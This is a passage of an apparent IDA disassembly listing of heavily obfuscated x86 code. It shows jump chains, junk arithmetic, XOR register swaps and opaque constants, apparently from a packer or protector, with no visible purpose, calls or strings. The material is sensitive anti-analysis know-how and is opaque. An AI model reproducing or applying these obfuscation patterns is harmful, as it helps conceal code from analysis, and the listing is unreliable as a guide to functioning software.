[esp+0] pop esi add esp, 4 add dword ptr [edx+30h], 0FFFFFFFFh inc dword ptr [edx+30h] sub dword ptr [edx+30h], 29D40348h popa popf retn ; --------------------------------------------------------------------------- jmp loc_590A9B ; --------------------------------------------------------------------------- loc_599CD1: ; CODE XREF: sub_580566+15360j add edx, 4 xchg edx, [esp-3Ah+arg_30+2] jmp loc_5A21D3 ; --------------------------------------------------------------------------- xor word ptr [esp-3Ah+arg_30+2], di xor di, word ptr [esp-3Ah+arg_30+2] xor word ptr [esp-3Ah+arg_30+2], di xor di, cx xor cx, di xor di, cx sub esp, 2 mov word ptr [esp-36h+arg_2C+2], cx push si pop cx mov si, word ptr [esp-36h+arg_2C+2] push ebx mov ebx, esp add ebx, 4 add ebx, 2 push ebx jmp loc_59376E ; --------------------------------------------------------------------------- loc_599D15: ; CODE XREF: sub_580566+11F85j neg ebp dec ebp xor ebp, 0FD53D528h add ecx, ebp mov ebp, [esp-34h+arg_2C] add esp, 4 sub ecx, 4 xchg ecx, [esp-38h+arg_30] mov esp, [esp-38h+arg_30] jmp loc_5996EC ; --------------------------------------------------------------------------- loc_599D3A: ; CODE XREF: sub_580566+1C826j add edx, eax pop eax jmp loc_59D41B ; --------------------------------------------------------------------------- loc_599D42: ; CODE XREF: sub_580566+13549j push cx mov cl, 0EAh add bl, cl mov cx, word ptr [esp-2Ah+arg_20+2] add esp, 2 pop cx jmp loc_59A94D ; --------------------------------------------------------------------------- loc_599D56: ; CODE XREF: sub_580566+1301Cj pop edx jmp loc_59B46A ; --------------------------------------------------------------------------- mov ax, word ptr [esp-40h+arg_38] push 6A18h jmp loc_5A4DD5 ; --------------------------------------------------------------------------- loc_599D6A: ; CODE XREF: sub_580566+1F311j mov [esp-3Ch+arg_34], ebx push [esp-3Ch+arg_34] pop eax push ebx mov ebx, esp push ebp jmp loc_590DFA ; --------------------------------------------------------------------------- loc_599D7A: ; CODE XREF: sub_580566+1FA63j mov [esp-34h+arg_2C], ebx push ecx sub esp, 4 mov [esp-2Ch+arg_24], ebx mov bh, dl mov ch, bh mov ebx, [esp-2Ch+arg_24] add esp, 4 mov bl, ch pop ecx push 1270h mov [esp-30h+arg_28], ecx mov ch, bl push 2D05h mov [esp-2Ch+arg_24], edx jmp loc_599B63 ; --------------------------------------------------------------------------- loc_599DA8: ; CODE XREF: sub_580566+1F921j mov esi, [esp-2Ch+arg_24] add esp, 4 push ecx push [esp-2Ch+arg_28] pop ecx pop [esp-2Ch+arg_24] pop esp dec byte ptr [esp-34h+arg_2C] pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_599DC1: ; CODE XREF: sub_580566+22E89j add esp, 4 sub esp, 4 mov [esp-30h+arg_28], esi mov esi, esp add esi, 4 jmp loc_59BF09 ; --------------------------------------------------------------------------- loc_599DDA: ; CODE XREF: sub_580566+1CA84j push eax jmp loc_5916EA ; --------------------------------------------------------------------------- loc_599DE0: ; CODE XREF: sub_580566+22E03j pop ebx sub esp, 4 mov [esp-2Ch+arg_24], edi push esp pop edi push ebp mov ebp, 4 add edi, ebp pop ebp add edi, 4 xor edi, [esp-2Ch+arg_24] xor [esp-2Ch+arg_24], edi xor edi, [esp-2Ch+arg_24] pop esp sub esp, 4 mov [esp-2Ch+arg_24], eax jmp loc_59C3A1 ; --------------------------------------------------------------------------- loc_599E0A: ; CODE XREF: sub_580566+1922Fj pop esp jmp loc_59F538 ; --------------------------------------------------------------------------- loc_599E10: ; CODE XREF: sub_580566+13D6Fj mov [esp-32h+arg_28+2], edi mov edi, 2E13316Eh jmp loc_594503 ; --------------------------------------------------------------------------- loc_599E1D: ; CODE XREF: sub_580566+245F9j not esi jmp loc_596A90 ; --------------------------------------------------------------------------- loc_599E24: ; CODE XREF: sub_580566+15349j push esp jmp loc_59E2FC ; --------------------------------------------------------------------------- loc_599E2A: ; CODE XREF: sub_580566+20704j add esi, edi jmp loc_59F9CD ; --------------------------------------------------------------------------- loc_599E31: ; CODE XREF: sub_580566+14E86j sub al, 12h push ebx mov bh, 43h add al, bh pop ebx add al, 0Ah sub al, dl sub al, 0Ah push edx mov dl, 0ACh jmp loc_59E1C2 ; --------------------------------------------------------------------------- loc_599E47: ; CODE XREF: sub_580566+221DDj add edx, 4 add edx, 4 xchg edx, [esp-38h+arg_30] pop esp xor edx, [esp-3Ch+arg_34] xor [esp-3Ch+arg_34], edx jmp loc_59A219 ; --------------------------------------------------------------------------- loc_599E62: ; CODE XREF: sub_580566+1491Cj push edi push [esp-2Ah+arg_24+2] pop edi pop [esp-2Ah+arg_20+2] mov esp, [esp-2Eh+arg_24+2] mov cx, word ptr [esp-2Eh+arg_24+2] push 0E00h mov [esp-2Ah+arg_20+2], ebx mov ebx, esp add ebx, 4 push 0F63h jmp loc_5A0925 ; --------------------------------------------------------------------------- loc_599E8C: ; CODE XREF: sub_580566+1CE38j push 2E8Ch jmp loc_59380C ; --------------------------------------------------------------------------- loc_599E96: ; CODE XREF: sub_580566+157B8j xor [esp-52h+arg_48+2], edi jmp loc_592BB5 ; --------------------------------------------------------------------------- loc_599E9E: ; CODE XREF: sub_580566+18DFDj push ebp mov ebp, 30B5A1Bh jmp loc_59D9AA ; --------------------------------------------------------------------------- loc_599EA9: ; CODE XREF: sub_580566+24BF8j neg dl not dl add dl, 0DAh add al, dl pop edx mov ch, al jmp loc_593672 ; --------------------------------------------------------------------------- loc_599EBA: ; CODE XREF: sub_580566+168AAj add [esp-42h+arg_38+2], 4 jmp loc_59DC04 ; --------------------------------------------------------------------------- loc_599EC6: ; CODE XREF: sub_580566+24216j xor ecx, 0FFFF0D7Dh jmp loc_5943E8 ; --------------------------------------------------------------------------- loc_599ED1: ; CODE XREF: sub_580566+13117j pop ecx add bl, al sub esp, 2 jmp loc_595B08 ; --------------------------------------------------------------------------- loc_599EDC: ; CODE XREF: sub_580566+23D4Ej mov edx, esp add edx, 4 add edx, 4 jmp loc_59DB7D ; --------------------------------------------------------------------------- loc_599EEC: ; CODE XREF: sub_580566+1867Aj sub esp, 4 mov [esp-14h+arg_A+2], ebp push 6B4Ah mov [esp+0], esp jmp loc_591D98 ; --------------------------------------------------------------------------- loc_599F02: ; CODE XREF: sub_580566+1F9C6j sub eax, 77D86333h add eax, ebx add eax, 77D86333h push 5345h mov [esp-0Ch+arg_8], esi mov esi, 2AE14CADh jmp loc_59DE73 ; --------------------------------------------------------------------------- loc_599F20: ; CODE XREF: sub_580566+1A606j pop eax pop dword ptr [esp+0] jmp loc_59920E ; --------------------------------------------------------------------------- loc_599F29: ; CODE XREF: sub_580566+230EDj pop esp or esi, edi pop edi add esi, 9606824Bh jmp loc_5961F0 ; --------------------------------------------------------------------------- loc_599F38: ; CODE XREF: sub_580566+2150Aj sub esp, 4 mov [esp-18h+arg_E+2], ebp jmp loc_59693A ; --------------------------------------------------------------------------- loc_599F46: ; CODE XREF: sub_580566+18802j sub esp, 4 mov [esp-4Ah+arg_40+2], ebp mov ebp, esp add ebp, 4 jmp loc_59D591 ; --------------------------------------------------------------------------- loc_599F5C: ; CODE XREF: sub_580566+2139Cj pop ecx push edi jmp loc_5A4287 ; --------------------------------------------------------------------------- loc_599F63: ; CODE XREF: sub_580566+1E996j add esi, ebp mov ebp, [esp-4Ah+arg_40+2] add esp, 4 jmp loc_5A4A35 ; --------------------------------------------------------------------------- loc_599F70: ; CODE XREF: sub_580566+13FC9j xor eax, ecx push 88Dh mov [esp-46h+arg_3C+2], eax xchg edx, [esp-46h+arg_3C+2] xor edx, esi xor esi, edx xor edx, esi push esi push ebx jmp loc_5A10B7 ; --------------------------------------------------------------------------- loc_599F8A: ; CODE XREF: sub_580566+12194j add ecx, eax pop eax sub ecx, 4 xchg ecx, [esp-5Ah+arg_52] pop esp jmp loc_597A88 ; --------------------------------------------------------------------------- loc_599F9C: ; CODE XREF: sub_580566+14A87j pop esp push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp-56h+arg_4E] jmp loc_59CF86 ; --------------------------------------------------------------------------- loc_599FB4: ; CODE XREF: sub_580566+16114j mov bl, 0C6h mov dl, bl jmp loc_5953EB ; --------------------------------------------------------------------------- loc_599FBD: ; CODE XREF: sub_580566+13354j add ebx, 0E1C7598Dh and eax, ebx pop ebx push eax not [esp-28h+arg_20] pop eax neg eax push ecx mov ecx, 72151C9Bh jmp loc_594C31 ; --------------------------------------------------------------------------- loc_599FD8: ; CODE XREF: sub_580566+10CD4j mov esp, [esp-34h+arg_2C] add ebx, 35775748h push esi mov esi, 7E762E00h shl esi, 2 shr esi, 2 sub esi, 7BF67205h inc esi add esi, 748A4B6Ch sub ebx, esi pop esi add ebx, 63BE7B53h sub ebx, eax sub ebx, 63BE7B53h add ebx, 370A0768h sub ebx, 35775748h push 368Bh jmp loc_5A50F1 ; --------------------------------------------------------------------------- loc_59A021: ; CODE XREF: sub_580566+1C8B6j sub edi, esi jmp loc_598667 ; --------------------------------------------------------------------------- loc_59A028: ; CODE XREF: sub_580566+23869j sub esp, 4 mov [esp-2Ch+arg_24], eax mov al, cl mov dh, al pop eax mov ah, dh pop edx pop ecx jmp loc_59628A ; --------------------------------------------------------------------------- loc_59A03F: ; CODE XREF: sub_580566+21228j add cl, 1 jmp loc_5A4692 ; --------------------------------------------------------------------------- loc_59A047: ; CODE XREF: sub_580566+1F57Dj pop esi jmp loc_59A746 ; --------------------------------------------------------------------------- loc_59A04D: ; CODE XREF: sub_580566+111F5j pop ecx add eax, edx pop edx sub eax, 4 xchg eax, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] mov [esp-34h+arg_2C], ebp mov ebp, 682959D1h or ebp, 396801E5h shl ebp, 3 jmp loc_5A1A82 ; --------------------------------------------------------------------------- loc_59A072: ; CODE XREF: sub_580566+22748j sub esp, 4 mov [esp-30h+arg_28], edi not [esp-30h+arg_28] pop edi push edi push [esp-30h+arg_2C] pop edi pop [esp-30h+arg_28] push [esp-34h+arg_2C] pop esi add esp, 4 push edi mov edi, 42A65C68h push ebp mov ebp, 486636B3h add esi, ebp jmp loc_5995B5 ; --------------------------------------------------------------------------- loc_59A0A5: ; CODE XREF: sub_580566+24BECj push ebp push 4098h mov [esp-28h+arg_20], eax mov eax, 7B126E37h or eax, 325475EDh jmp loc_5959AA ; --------------------------------------------------------------------------- loc_59A0BD: ; CODE XREF: sub_580566+2101Fj or dh, 0DFh xor dh, 60h xor al, dh push [esp-28h+arg_20] pop edx push 491Bh mov [esp-24h+arg_1A+2], esi mov esi, esp add esi, 4 jmp loc_595983 ; --------------------------------------------------------------------------- loc_59A0DE: ; CODE XREF: sub_580566+1D8BEj dec edx add edx, 41F97F89h push edi jmp loc_594DFC ; --------------------------------------------------------------------------- loc_59A0EB: ; CODE XREF: sub_580566+1E57Ej xor ebx, ecx pop ecx push ebx mov ebx, 6BBA4DC3h neg ebx xor ebx, 0AB05DB10h sub esi, ebx pop ebx add esi, ebx add esi, 3F40692Dh pop ebx push ebx mov ebx, esp jmp loc_5A5A79 ; --------------------------------------------------------------------------- loc_59A110: ; CODE XREF: sub_580566+174B2j push ebp jmp loc_597C58 ; --------------------------------------------------------------------------- loc_59A116: ; CODE XREF: sub_580566+25523j mov [esp-3Ah+arg_30+2], ecx jmp loc_599BF6 ; --------------------------------------------------------------------------- loc_59A11E: ; CODE XREF: sub_580566+196C8j push ecx mov ecx, 4E720295h xor ecx, 0F777441h jmp loc_5A1735 ; --------------------------------------------------------------------------- loc_59A12F: ; CODE XREF: sub_580566+224EFj mov ebx, 269F79E4h sub ebx, 128E2EE2h add ebx, 3373F118h mov ecx, ebx pop ebx add esi, ecx jmp loc_5975F4 ; --------------------------------------------------------------------------- loc_59A14A: ; CODE XREF: sub_580566+21BB3j add dl, 4Eh sub dl, 0Ah add al, dl pop edx push small 4A20h mov word ptr [esp-34h+arg_2C], cx jmp loc_59A31F ; --------------------------------------------------------------------------- loc_59A160: ; CODE XREF: sub_580566+11464j pop esi jmp loc_5A3540 ; --------------------------------------------------------------------------- loc_59A166: ; CODE XREF: sub_580566+18963j sub edx, 28C834CEh sub esp, 4 mov [esp-20h+arg_16+2], ebx jmp loc_5944EC ; --------------------------------------------------------------------------- loc_59A17A: ; CODE XREF: sub_580566+133A0j xor ebp, 28037887h mov edx, ebp jmp loc_59988E ; --------------------------------------------------------------------------- loc_59A187: ; CODE XREF: sub_580566+14845j mov [esp+0], esi push esp pop esi add esi, 4 push ebx mov ebx, 4 jmp loc_59E237 ; --------------------------------------------------------------------------- loc_59A19D: ; CODE XREF: sub_580566+22AC4j pop edx jmp loc_59D813 ; --------------------------------------------------------------------------- loc_59A1A3: ; DATA XREF: sub_580566+1043Ao mov ax, [esp+0] jmp loc_5A2FE9 ; --------------------------------------------------------------------------- loc_59A1AC: ; CODE XREF: sub_580566+18C7Dj push edx mov edx, esp jmp loc_592F72 ; --------------------------------------------------------------------------- loc_59A1B4: ; CODE XREF: sub_580566+16CC0j not ecx not ecx neg ecx add ecx, 5396747Eh jmp loc_5A3EB2 ; --------------------------------------------------------------------------- loc_59A1C5: ; CODE XREF: sub_580566+116FEj xor eax, edi push [esp-34h+arg_2C] jmp loc_598040 ; --------------------------------------------------------------------------- loc_59A1CF: ; CODE XREF: sub_580566+15FE3j pop esp jmp loc_5A4490 ; --------------------------------------------------------------------------- loc_59A1D5: ; CODE XREF: sub_580566+1AF90j pop cx jmp loc_59D6BF ; --------------------------------------------------------------------------- loc_59A1DC: ; CODE XREF: sub_580566+19E52j sub edi, 4 push edi push [esp-48h+arg_44] pop edi pop [esp-48h+arg_40] pop esp mov [esp-50h+arg_48], eax push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-4Ch+arg_44] jmp loc_5A4024 ; --------------------------------------------------------------------------- loc_59A203: ; CODE XREF: sub_580566+236B8j add esp, 4 push eax push eax push edx mov edx, esp jmp loc_59EC7C ; --------------------------------------------------------------------------- loc_59A213: ; CODE XREF: sub_580566+1353Ej pop edi jmp loc_597906 ; --------------------------------------------------------------------------- loc_59A219: ; CODE XREF: sub_580566+198F7j xor edx, [esp-3Ch+arg_34] jmp loc_59D46F ; --------------------------------------------------------------------------- loc_59A221: ; CODE XREF: sub_580566+1EAA0j pop edi pop eax sub ebp, 3E96217Ah sub ebp, 54D019C4h sub ebp, esi add ebp, 54D019C4h push edx mov edx, 3E96217Ah add ebp, edx pop edx mov esi, [esp-44h+arg_3C] add esp, 4 add edi, 2B214FE0h add edi, ebp sub edi, 2B214FE0h pop ebp jmp loc_593957 ; --------------------------------------------------------------------------- loc_59A25D: ; CODE XREF: sub_580566+16213j push ebp sub esp, 4 mov [esp-3Eh+arg_34+2], esp push ebp mov ebp, 4 sub [esp-3Ah+arg_34+2], 4DFB4086h add [esp-3Ah+arg_34+2], ebp add [esp-3Ah+arg_34+2], 4DFB4086h pop ebp pop ebp add ebp, 4 push esi mov esi, 4 jmp loc_596B4A ; --------------------------------------------------------------------------- loc_59A294: ; CODE XREF: sub_580566+2230Bj push esp pop edx jmp loc_597B1B ; --------------------------------------------------------------------------- loc_59A29B: ; CODE XREF: sub_580566+1071Ej add eax, ebp pop ebp add eax, 719F0A68h add eax, ebx sub eax, 719F0A68h sub esp, 4 mov [esp-4Ah+arg_40+2], ebx push edi mov edi, 65DB1A1Ch push ebp mov ebp, 9FEA7AFFh mov ebx, ebp mov ebp, [esp-42h+arg_38+2] add esp, 4 sub ebx, 18B117FBh sub ebx, edi add ebx, 18B117FBh pop edi jmp loc_591C79 ; --------------------------------------------------------------------------- loc_59A2DB: ; CODE XREF: sub_580566+1A3E2j pop ecx add ecx, 3BFA298Ah xor ecx, 5C617006h jmp loc_597428 ; --------------------------------------------------------------------------- loc_59A2ED: ; CODE XREF: sub_580566+1463Fj xor eax, 6525C314h xor edi, eax jmp loc_59C9B3 ; --------------------------------------------------------------------------- loc_59A2F9: ; CODE XREF: sub_580566+23C9Ej pop edx not ebx push eax jmp loc_5A17F1 ; --------------------------------------------------------------------------- loc_59A302: ; CODE XREF: sub_580566+1A2DBj pop [esp-42h+arg_38+2] push edx mov edx, 4 add [esp-42h+arg_3C+2], edx push [esp-42h+arg_38+2] pop edx add esp, 4 push [esp-46h+arg_3C+2] pop ebx jmp loc_598DC3 ; --------------------------------------------------------------------------- loc_59A31F: ; CODE XREF: sub_580566+19BF5j mov ch, 16h push ebx mov bl, 91h add bl, 73h xor bl, 0A7h sub bl, 0A4h sub ch, bl jmp loc_5993C1 ; --------------------------------------------------------------------------- loc_59A334: ; CODE XREF: sub_580566+1A748j mov [esp-30h+arg_28], ebx mov ebx, 3A4611E1h xor ebx, 424D1B25h xor ebx, 696D2EFDh and ebx, 7D2A4947h shl ebx, 4 sub esp, 4 mov [esp-2Ch+arg_24], ecx sub esp, 4 jmp loc_592844 ; --------------------------------------------------------------------------- loc_59A35F: ; CODE XREF: sub_580566+1C045j mov esi, [esp-28h+arg_20] push edi mov edi, esp push eax push ecx mov ecx, 58CC352Fh add ecx, 3E444E54h sub ecx, 6929620Eh mov eax, ecx pop ecx sub eax, 3F4A0C82h add eax, 1162EB11h add edi, eax jmp loc_59C0EA ; --------------------------------------------------------------------------- loc_59A38C: ; CODE XREF: sub_580566+206BBj add esp, 4 push edx mov edx, ebx mov eax, edx pop edx pop ebx push esi jmp loc_591415 ; --------------------------------------------------------------------------- loc_59A39C: ; CODE XREF: sub_580566+2238Bj pop esp xor eax, ebp pop ebp push 2EEBh mov [esp-28h+arg_20], esi push 6EC2h mov [esp-24h+arg_1A+2], edi mov edi, esp add edi, 4 jmp loc_59A1DC ; --------------------------------------------------------------------------- loc_59A3BD: ; CODE XREF: sub_580566+237E7j pop ecx sub ebp, 0AA051F66h jmp loc_5A5B59 ; --------------------------------------------------------------------------- loc_59A3C9: ; CODE XREF: sub_580566+21E45j add eax, 33BA1A04h xor eax, 6645687Bh sub eax, 0C51A9274h jmp loc_59EB33 ; --------------------------------------------------------------------------- loc_59A3DD: ; CODE XREF: sub_580566+17938j xor esi, 3A39FDFCh jmp loc_59D1BE ; --------------------------------------------------------------------------- loc_59A3E8: ; CODE XREF: sub_580566+22409j push 7AA4h mov [esp-36h+arg_2C+2], ecx jmp loc_593CC2 ; --------------------------------------------------------------------------- loc_59A3F5: ; CODE XREF: sub_580566+186CEj not esi sub esi, 11B27E3Ch jmp loc_59AA34 ; --------------------------------------------------------------------------- loc_59A402: ; CODE XREF: sub_580566+11361j mov eax, [esp-4Ch+arg_44] add esp, 4 xor dl, 0B8h push ebx mov bh, 6Ch and dl, bh pop ebx sub esp, 4 jmp loc_592564 ; --------------------------------------------------------------------------- loc_59A41F: ; CODE XREF: sub_580566+21EA4j mov ebp, 7023798Bh sub ebp, 612027D9h xor ebx, ebp jmp loc_599B5D ; --------------------------------------------------------------------------- loc_59A431: ; CODE XREF: sub_580566+23159j push ebp mov ebp, 1280390h shl ebp, 7 jmp loc_59F348 ; --------------------------------------------------------------------------- loc_59A43F: ; CODE XREF: sub_580566+21C07j pop esp xchg edi, [esp-4Ch+arg_44] mov esp, [esp-4Ch+arg_44] push 3030h jmp loc_59F9E0 ; --------------------------------------------------------------------------- loc_59A450: ; CODE XREF: sub_580566+1FD88j or eax, edi pop edi shl eax, 1 push 47EAh jmp loc_59AC48 ; --------------------------------------------------------------------------- loc_59A45F: ; CODE XREF: sub_580566+1D0BFj add eax, edi jmp loc_5A593C ; --------------------------------------------------------------------------- loc_59A466: ; CODE XREF: sub_580566+1EA44j mov ecx, [esp-48h+arg_40] jmp loc_592AAC ; --------------------------------------------------------------------------- loc_59A46E: ; CODE XREF: sub_580566+11F49j add dl, 6Eh sub al, dl jmp loc_5A51D7 ; --------------------------------------------------------------------------- loc_59A478: ; CODE XREF: sub_580566+24548j add ebp, 4 push 8BAh mov [esp-42h+arg_38+2], esi mov esi, 6AD76A89h jmp loc_5932B4 ; --------------------------------------------------------------------------- loc_59A490: ; CODE XREF: sub_580566+19739j add [esp-1Eh+arg_16], 4 mov ebp, [esp-1Eh+arg_16] push eax jmp loc_59DD7B ; --------------------------------------------------------------------------- loc_59A49D: ; CODE XREF: sub_580566+1E879j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59A4A2: ; CODE XREF: sub_580566+21928j pop [esp-1Ah+arg_12] mov esp, [esp-1Eh+arg_16] jmp loc_59A5DB ; --------------------------------------------------------------------------- loc_59A4AD: ; CODE XREF: sub_580566+14CA2j push edx mov edx, 1AD0479Ah xor edx, 70C907CEh or esi, edx pop edx xor esi, 52730ACDh and ecx, esi jmp loc_594398 ; --------------------------------------------------------------------------- loc_59A4C9: ; CODE XREF: sub_580566+240C7j mov word ptr [esp-3Ah+arg_30+2], cx movzx cx, al jmp loc_598C39 ; --------------------------------------------------------------------------- loc_59A4D6: ; CODE XREF: sub_580566+235CAj sub esp, 4 mov [esp-36h+arg_2C+2], edi jmp loc_595CB8 ; --------------------------------------------------------------------------- loc_59A4E4: ; CODE XREF: sub_580566+247CBj pop ebx neg ecx or ecx, 184A12EDh not ecx and ecx, 4D2E5AD0h push ebx jmp loc_596AE7 ; --------------------------------------------------------------------------- loc_59A4FB: ; CODE XREF: sub_580566+13DEFj add edi, esi pop esi xchg edi, [esp-34h+arg_2C] pop esp sub esp, 4 jmp loc_591ABF ; --------------------------------------------------------------------------- loc_59A50D: ; CODE XREF: sub_580566+117ADj add esi, 225D5ED7h add esi, 6BEA0F25h add esi, 7B4D487Fh add esi, 699F027Ch mov eax, [esp-40h+arg_38] add esp, 4 push ecx mov ecx, 2A8153BEh push esi mov esi, 41260929h and ecx, esi pop esi dec ecx push esi mov esi, 123h push ebx mov ebx, 491969CDh jmp loc_59BA1B ; --------------------------------------------------------------------------- loc_59A54F: ; CODE XREF: sub_580566+1AD09j mov edi, 2C142BD1h shr edi, 4 sub edi, 0EE2C14D3h sub eax, edi pop edi sub eax, 561F707Eh add eax, ebp add eax, 561F707Eh add eax, 14952DEAh mov ebp, [esp-3Ch+arg_34] add esp, 4 jmp loc_59B3D9 ; --------------------------------------------------------------------------- loc_59A57C: ; CODE XREF: sub_580566+13F81j push ecx sub esp, 4 mov [esp-3Eh+arg_34+2], ebx push edx push 42C44BF4h jmp loc_5A2B23 ; --------------------------------------------------------------------------- loc_59A591: ; CODE XREF: sub_580566+11945j push ecx mov ecx, 4AD943B2h sub ecx, 0E7839B12h add esi, ecx mov ecx, [esp-4Ah+arg_40+2] jmp loc_593E9F ; --------------------------------------------------------------------------- loc_59A5A7: ; CODE XREF: sub_580566+19091j pop eax jmp loc_5A38BD ; --------------------------------------------------------------------------- loc_59A5AD: ; CODE XREF: sub_580566+13F46j xchg ebx, [esp-3Eh+arg_34+2] jmp loc_596F9F ; --------------------------------------------------------------------------- loc_59A5B5: ; CODE XREF: sub_580566+14B23j pop ebx add ebp, ebx pop ebx xchg ebp, [esp-34h+arg_2C] jmp loc_592C21 ; --------------------------------------------------------------------------- loc_59A5C1: ; CODE XREF: sub_580566+1F9B0j mov [esp-34h+arg_2C], eax jmp loc_594172 ; --------------------------------------------------------------------------- loc_59A5C9: ; CODE XREF: sub_580566+24EBBj and ecx, esi mov esi, [esp-34h+arg_2C] push esi mov esi, esp push 7680h jmp loc_5A09FD ; --------------------------------------------------------------------------- loc_59A5DB: ; CODE XREF: sub_580566+19F42j push ebx push 15D5h mov [esp-16h+arg_E], esp add [esp-16h+arg_E], 4 pop ebx jmp loc_59BCC8 ; --------------------------------------------------------------------------- loc_59A5F1: ; CODE XREF: sub_580566+1D7FCj xchg eax, [esp-1Ah+arg_12] pop esp add eax, 4 xchg eax, [esp-1Eh+arg_16] jmp loc_59CF2D ; --------------------------------------------------------------------------- loc_59A600: ; CODE XREF: sub_580566+1C32Ej add edi, 4 jmp loc_595FAA ; --------------------------------------------------------------------------- loc_59A608: ; CODE XREF: sub_580566+1C835j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59A60D: ; CODE XREF: sub_580566+1D860j push esi jmp loc_5A53E6 ; --------------------------------------------------------------------------- loc_59A613: ; CODE XREF: sub_580566+17DBCj push 0BCFh mov [esp-48h+arg_40], edi mov edi, 6C8613Eh jmp loc_591DFC ; --------------------------------------------------------------------------- loc_59A625: ; CODE XREF: sub_580566+1A6B1j sub edi, ebx push ecx mov ecx, 4DB44592h neg ecx jmp loc_59371D ; --------------------------------------------------------------------------- loc_59A634: ; CODE XREF: sub_580566+246E5j and eax, 24CF4B2Bh push eax not [esp-40h+arg_38] jmp loc_592132 ; --------------------------------------------------------------------------- loc_59A642: ; CODE XREF: sub_580566+22A65j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59A647: ; CODE XREF: sub_580566+1F814j shr eax, 8 add eax, 2E8B1C24h and edi, eax jmp loc_599C96 ; --------------------------------------------------------------------------- loc_59A656: ; CODE XREF: sub_580566+12610j push esi mov esi, 3F3A45A6h add edi, esi jmp loc_5A508A ; --------------------------------------------------------------------------- loc_59A663: ; CODE XREF: sub_580566+12CF3j sub edi, 61615B05h sub edi, 5730197Dh add edi, ebx add edi, 5730197Dh push esi mov esi, 50F26343h jmp loc_59226E ; --------------------------------------------------------------------------- loc_59A682: ; CODE XREF: sub_580566+1AA95j sub [esp-46h+arg_44+2], 66955F7Bh push [esp-46h+arg_3C+2] jmp loc_5995E6 ; --------------------------------------------------------------------------- loc_59A692: ; CODE XREF: sub_580566+19174j xor edx, [esp-38h+arg_30] xor [esp-38h+arg_30], edx jmp loc_5A22D8 ; --------------------------------------------------------------------------- loc_59A69D: ; CODE XREF: sub_580566+15A2Fj add bl, ch jmp loc_5A2886 ; --------------------------------------------------------------------------- loc_59A6A4: ; CODE XREF: sub_580566+17C37j add esp, 4 shr edx, 5 dec edx push ecx mov ecx, 5DDEDDEh jmp loc_59E55F ; --------------------------------------------------------------------------- loc_59A6B6: ; CODE XREF: sub_580566+1224Cj push eax push 211Bh mov [esp-22h+arg_1A], edx mov dh, 6Fh mov ah, 6Ah xor ah, dh pop edx jmp loc_5A4F7D ; --------------------------------------------------------------------------- loc_59A6CB: ; CODE XREF: sub_580566+206B5j mov ecx, 19370F97h neg ecx and ecx, 3C32B27h sub ecx, 7CF50F9Dh sub ebp, ecx mov ecx, [esp+0] add esp, 4 jmp loc_5971B9 ; --------------------------------------------------------------------------- loc_59A6EE: ; CODE XREF: sub_580566+1FD7Cj mov edi, [esp-2Ah+arg_20+2] add esp, 4 xchg edi, ebx xchg ebx, ebp inc ebp push edx mov edx, 0FFFFFFFFh sub ebp, edx jmp loc_59B4C4 ; --------------------------------------------------------------------------- loc_59A709: ; CODE XREF: sub_580566+152CEj pop esp mov [esp], ebx jmp loc_59B82F ; --------------------------------------------------------------------------- loc_59A712: ; CODE XREF: sub_580566+11916j or ecx, 527B795Dh neg ecx shr ecx, 4 push eax jmp loc_5A42FD ; --------------------------------------------------------------------------- loc_59A723: ; CODE XREF: sub_580566+147F2j push ecx mov ecx, 6B296D2Ah neg ecx add ecx, 0EC8EFBE0h add eax, ecx pop ecx jmp loc_5A3DEA ; --------------------------------------------------------------------------- loc_59A739: ; CODE XREF: sub_580566+12EDCj sub ecx, ebp add ecx, 75E11DE6h jmp loc_59B513 ; --------------------------------------------------------------------------- loc_59A746: ; CODE XREF: sub_580566+19AE2j xchg ebp, [esp-3Ch+arg_34] jmp loc_5A2CEC ; --------------------------------------------------------------------------- loc_59A74E: ; CODE XREF: sub_580566+23FECj dec ecx push ecx push ebp pop ecx jmp loc_599B41 ; --------------------------------------------------------------------------- loc_59A757: ; CODE XREF: sub_580566+1168Ej pop eax push eax jmp loc_5A5792 ; --------------------------------------------------------------------------- loc_59A75E: ; CODE XREF: sub_580566+1AC26j sub esp, 4 jmp loc_5938F5 ; --------------------------------------------------------------------------- loc_59A769: ; CODE XREF: sub_580566+1DDB0j pop esp jmp loc_595682 ; --------------------------------------------------------------------------- loc_59A76F: ; CODE XREF: sub_580566+23F87j mov edi, 772234D3h add edi, 955D10C1h add esi, edi pop edi pop eax push edi mov edi, 0C92210Bh add ebx, 3E67498Ah jmp loc_597DBA ; --------------------------------------------------------------------------- loc_59A78F: ; CODE XREF: sub_580566+1CB65j inc ebx shl ebx, 2 or ebx, 1CF471FDh jmp loc_599080 ; --------------------------------------------------------------------------- loc_59A79E: ; CODE XREF: sub_580566+18E8Dj add eax, 4 jmp loc_59E510 ; --------------------------------------------------------------------------- loc_59A7A8: ; CODE XREF: sub_580566+23820j pop edx sub esp, 4 jmp loc_5970A2 ; --------------------------------------------------------------------------- loc_59A7B1: ; CODE XREF: sub_580566+1F8C0j mov esi, 69D007B9h neg esi sub esi, 83AD8BACh and ecx, esi pop esi and ecx, 9B27D2Ch and ecx, 2C8960E3h xor ecx, 194C62C7h neg ecx add ecx, 25F733DDh add ebx, ecx mov ecx, [esp-3Eh+arg_34+2] jmp loc_594346 ; --------------------------------------------------------------------------- loc_59A7E5: ; CODE XREF: sub_580566+201E6j push 4836h mov [esp-3Ah+arg_30+2], ebx mov ebx, 5FF478BFh sub esp, 4 mov [esp-36h+arg_2C+2], ecx sub esp, 4 mov [esp-32h+arg_28+2], ebp mov ebp, 4FC474D6h mov ecx, 650FDC32h sub ecx, ebp pop ebp push esi mov esi, 0B322F92h add [esp-32h+arg_34+2], esi pop esi sub [esp-36h+arg_34+2], ecx push eax mov eax, 0B322F92h jmp loc_5A0463 ; --------------------------------------------------------------------------- loc_59A825: ; CODE XREF: sub_580566+14A71j pop esi mov ebx, [esp-52h+arg_48+2] add esp, 4 add edx, edi add eax, [edx] push [esp-56h+arg_4E] jmp loc_5A3E76 ; --------------------------------------------------------------------------- loc_59A838: ; CODE XREF: sub_580566+21937j mov esi, esp push ebp jmp loc_59CEB8 ; --------------------------------------------------------------------------- loc_59A840: ; CODE XREF: sub_580566+148CDj 